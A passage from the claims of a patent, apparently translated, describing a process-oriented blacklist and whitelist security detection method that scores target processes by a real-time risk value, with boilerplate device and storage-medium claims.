to the target process is determined based on the whitelist risk value and the blacklist risk value. The second determining module is used to determine the security detection result of the target process based on the real-time risk value corresponding to the target process.

7. A computer device, characterized in that, It includes a memory and a processor, wherein the memory stores a computer program, and the processor executes the computer program to implement the process-oriented blacklist and whitelist security detection method as described in any one of claims 1 to 5.

8. A computer-readable storage medium having a computer program stored thereon, characterized in that, When a computer program is executed by a processor, it implements the process-oriented blacklist and whitelist security detection method as described in any one of claims 1 to 5.

Images